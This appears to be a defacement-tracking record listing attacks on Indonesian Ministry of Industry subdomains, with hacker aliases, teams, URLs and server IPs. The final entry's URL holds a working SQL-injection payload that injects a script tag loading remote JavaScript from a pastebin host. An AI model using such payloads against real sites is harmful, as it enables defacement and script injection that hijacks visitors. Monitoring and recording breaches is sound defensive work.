Loading
Track the progress of your security check and view compromised records when available.
2025-09-16 19:16:05
| Hacker | RAZOR_X12 |
| Team | |
| URL | https://pidi4.kemenperin.go.id/#training |
| IP | 103.164.13.85 [ ] |
| Server | Unknown |
| OS | Linux |
2025-03-11 04:12:54
| Hacker | ./EvilExploit |
| Team | |
| URL | https://bdimakassar.kemenperin.go.id/berita/208 |
| IP | 103.174.114.127 [ ] |
| Server | Apache |
| OS | Ubuntu |
2024-11-05 09:03:15
| Hacker | X7EXPLOIT |
| Team | RISXPLOIT |
| URL | https://simirah2.kemenperin.go.id/storage/uploads/images/cv-cahaya-surya-perkasa-sidoarjo_1730772146.jpg |
| IP | 202.47.80.43 [ ] |
| Server | Nginx |
| OS | Linux |
2024-10-27 06:40:12
| Hacker | X7EXPLOIT |
| Team | RISXPLOIT |
| URL | https://cdcbpsdmi.kemenperin.go.id/article/detail/hacked-by-x7exploit |
| IP | 159.65.134.170 [ ] |
| Server | Nginx |
| OS | Linux |
2024-09-21 00:40:55
| Hacker | AgenMassive |
| Team | GarudaSecurity |
| URL | https://bbkk.kemenperin.go.id/siptenan/files/bogor.htm |
| IP | 182.16.171.98 [ ] |
| Server | Apache |
| OS | Linux |
2024-08-23 15:22:01
| Hacker | Type-0 |
| Team | AnonSec Team |
| URL | https://sippa.kemenperin.go.id/news/comments/2024/01/15/22/penyampaian-laporan-kinerja-pusbindiklat-sdm-aparatur-tahun-2023 |
| IP | 111.68.30.107 [ ] |
| Server | Nginx |
| OS | Linux |
2024-08-23 15:21:42
| Hacker | Type-0 |
| Team | AnonSec Team |
| URL | https://bdiyogyakarta.kemenperin.go.id/blog/comments/2024/07/10/74/pengumuman-seleksi-tahap-1-inkubator-bisnis-bdi-yogyakarta-ibiza-2024-#comment-18 |
| IP | 111.68.30.107 [ ] |
| Server | Nginx |
| OS | Linux |
2024-07-12 10:21:48
| Hacker | SukaJanda01 |
| Team | GarudaSecurity |
| URL | https://sil.bbkkp.kemenperin.go.id/ |
| IP | 111.68.24.35 [ ] |
| Server | Nginx |
| OS | Linux |
2020-10-20 12:48:29
| Hacker | Shandi 1337 |
| Team | PsychoXploit |
| URL | http://arsip.kemenperin.go.id/?p=blog&id=46 |
| IP | 202.47.80.57 [ ] |
| Server | Apache |
| OS | Linux |
2020-08-25 21:32:20
| Hacker | AR_404 |
| Team | HUNTER FORCE EXPLOIT |
| URL | http://baristandaceh.kemenperin.go.id/l/index.php?id=lih_buku |
| IP | 202.47.80.52 [ ] |
| Server | Apache |
| OS | Linux |
2020-08-13 22:28:01
| Hacker | MalaikatHati |
| Team | 7Ghost-Team |
| URL | https://bpsdmi.kemenperin.go.id/heh.html |
| IP | 46.17.172.77 [ ] |
| Server | Unknown |
| OS | Linux |
2020-08-13 17:56:00
| Hacker | Black_X12 |
| Team | PsychoXploit |
| URL | http://bdimakassar.kemenperin.go.id/img/error/root.php |
| IP | 202.47.80.71 [ ] |
| Server | Apache |
| OS | Linux |
2019-03-21 04:35:03
| Hacker | TN72 |
| Team | GARUDA TERSAKTI 72 |
| URL | https://bdidenpasar.kemenperin.go.id/index.htm |
| IP | 52.221.47.29 [ ] |
| Server | Nginx |
| OS | Linux |
2019-03-17 16:55:43
| Hacker | Dev19Feb |
| Team | D704T |
| URL | http://bdipadang.kemenperin.go.id/downloads/fake.html |
| IP | 202.47.80.71 [ ] |
| Server | Apache |
| OS | Linux |
2018-12-01 18:29:04
| Hacker | FALKA |
| Team | W3LL SQUAD |
| URL | http://bbkk.kemenperin.go.id/page/bacaberita.php?id=null%20union%20all%20select%201,concat(0x3c73637269707420747970653d22746578742f6a61766173637269707422207372633d2268747470733a2f2f706173746562696e2e636f6d2f7261772f7333664a67485633223e3c2f7363726970743e),3,4,5,6,7,8,9,10,11--%20- |
| IP | 43.252.73.26 [ ] |
| Server | Apache |
| OS | Linux |